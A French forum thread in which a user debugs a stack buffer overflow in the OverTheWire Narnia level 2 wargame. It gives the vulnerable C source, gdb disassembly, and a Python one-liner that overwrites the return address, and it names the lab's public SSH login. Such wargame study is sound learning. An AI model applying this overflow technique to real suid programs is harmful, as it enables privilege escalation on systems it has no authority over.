Twitter iPhone pliant OnePlus 11 PS5 Disney+ Orange Livebox Windows 11

Buffer overflow

2 réponses
Avatar
Kevin Denis
Bonjour,

j'essaie de manipuler un programme qui est victime d'un buffer overflow.
Il fait partie d'un concours prévu pour ça (niveau 2 de narnia sur
overthewire). Le code incriminé est le suivant:
(snip)
int main(int argc, char * argv[]){
char buf[128];

if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);

return 0;
}

Il est aisé de récupérer un shell a partir de ce programme suid,
ce n'est pas la question.

Mais je cherche à faire autre chose, et je bute sur une erreur.

Je cherche à afficher le printf Usage etc.. lorsque argc vaut 1.

Apparamment facile, mais je prends Un segfault.

Voilà ce que je fais:
1/ je repère l'adresse du if:
(gdb) disass main
Dump of assembler code for function main:
0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: and $0xfffffff0,%esp
0x0804840a <+6>: sub $0x90,%esp
0x08048410 <+12>: cmpl $0x1,0x8(%ebp)
0x08048414 <+16>: jne 0x8048438 <main+52>
0x08048416 <+18>: mov 0xc(%ebp),%eax
0x08048419 <+21>: mov (%eax),%edx
0x0804841b <+23>: mov $0x8048530,%eax
0x08048420 <+28>: mov %edx,0x4(%esp)
0x08048424 <+32>: mov %eax,(%esp)
0x08048427 <+35>: call 0x8048324 <printf@plt>
0x0804842c <+40>: movl $0x1,(%esp)
0x08048433 <+47>: call 0x8048334 <exit@plt>
0x08048438 <+52>: mov 0xc(%ebp),%eax

0x08048414 est un jne donc, la conséquence du if.
Et à 0x08048416 je suis dans le bout de code qui m'affiche le Usage etc...

2/ Je fais en sorte d'aller rejoindre cet endroit
Si je donne un buffer > 140 caractères, j'écrase mon EIP. Donc si
j'écris:
./narnia2 `python -c "print 'A'*140" + '\x16\x84\x04\x08'`
alors cela devrait m'afficher le Usage etc...

Mais j'ai un Segfault, je ne comprends pourquoi. Qu'est ce qui peut
se passer?

Au cas où, le binaire, le code source et gdb sont dispos à
$ ssh -l narnia2 narnia.labs.overthewire.org
mot de passe ucepeirian à lire de gauche à droite [pour éviter les
référencements d'icelui par google].
--
Kevin

2 réponses

Avatar
Olivier Miakinen
Bonjour,

Le 25/10/2012 15:59, Kevin Denis a écrit :
[...]
printf("Usage: %s argumentn", argv[0]);
[...]

Il est aisé de récupérer un shell a partir de ce programme suid,
ce n'est pas la question.

Mais je cherche à faire autre chose, et je bute sur une erreur.

Je cherche à afficher le printf Usage etc.. lorsque argc vaut 1.



Euh... lorsque argc ne vaut pas 1, je suppose. Parce que s'il
vaut 1, le printf Usage est déjà affiché.

Apparamment facile, mais je prends Un segfault.

Voilà ce que je fais:
1/ je repère l'adresse du if:
[...]

2/ Je fais en sorte d'aller rejoindre cet endroit
Si je donne un buffer > 140 caractères, j'écrase mon EIP. Donc si
j'écris:
./narnia2 `python -c "print 'A'*140" + 'x16x84x04x08'`
alors cela devrait m'afficher le Usage etc...

Mais j'ai un Segfault, je ne comprends pourquoi. Qu'est ce qui peut
se passer?



Je ne suis pas très au courant des détails d'implémentation, mais
est-ce que ce ne serait pas argv ou argv[0] qui est écrasé ? Je
suppose que ce n'est pas la chaîne littérale, sinon tu y aurais
déjà pensé.
Avatar
Kevin Denis
Le 25-10-2012, Olivier Miakinen <om+ a écrit :
[...]
printf("Usage: %s argumentn", argv[0]);
[...]

Il est aisé de récupérer un shell a partir de ce programme suid,
ce n'est pas la question.

Mais je cherche à faire autre chose, et je bute sur une erreur.

Je cherche à afficher le printf Usage etc.. lorsque argc vaut 1.



Euh... lorsque argc ne vaut pas 1, je suppose. Parce que s'il
vaut 1, le printf Usage est déjà affiché.



Lapsus de ma part. C'est bien évidemment lorsque argc ne vaut pas 1.

Apparamment facile, mais je prends Un segfault.

Voilà ce que je fais:
1/ je repère l'adresse du if:
[...]

2/ Je fais en sorte d'aller rejoindre cet endroit
Si je donne un buffer > 140 caractères, j'écrase mon EIP. Donc si
j'écris:
./narnia2 `python -c "print 'A'*140" + 'x16x84x04x08'`
alors cela devrait m'afficher le Usage etc...

Mais j'ai un Segfault, je ne comprends pourquoi. Qu'est ce qui peut
se passer?



Je ne suis pas très au courant des détails d'implémentation, mais
est-ce que ce ne serait pas argv ou argv[0] qui est écrasé ?



Que ma chaîne de caractères s'écrase elle même? (?)

Je suppose que ce n'est pas la chaîne littérale, sinon tu y aurais
déjà pensé.



Je ne comprends pas (?)

En fait, j'ai trouvé la solution, je ne vais pas au bon endroit. Si
je met l'adresse 0x0804841b, alors ça fonctionne:
./narnia2 `python -c "print 'A'*140 + 'x1bx84x04x08'"`
A(snip les 140 A)AA[]Usage: []argument
:/narnia$
( le [] remplace des caractères non imprimables)

Ce qui m'étonne finalement qu'a moitié, le disas main affiche:
Dump of assembler code for function main:
0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: and $0xfffffff0,%esp
0x0804840a <+6>: sub $0x90,%esp
0x08048410 <+12>: cmpl $0x1,0x8(%ebp)
0x08048414 <+16>: jne 0x8048438 <main+52>
=> 0x08048416 <+18>: mov 0xc(%ebp),%eax
0x08048419 <+21>: mov (%eax),%edx
0x0804841b <+23>: mov $0x8048530,%eax
0x08048420 <+28>: mov %edx,0x4(%esp)
0x08048424 <+32>: mov %eax,(%esp)
0x08048427 <+35>: call 0x8048324
0x0804842c <+40>: movl $0x1,(%esp)
0x08048433 <+47>: call 0x8048334

Et à 08048416, on fait un mov 0xc(%ebp),%eax et comme EBP est
écrasé par mes 'A', ça ne doit pas plaire. Mais du coup, j'ai une
autre question, à quoi servent ces deux lignes:
=> 0x08048416 <+18>: mov 0xc(%ebp),%eax
0x08048419 <+21>: mov (%eax),%edx

Merci
--
Kevin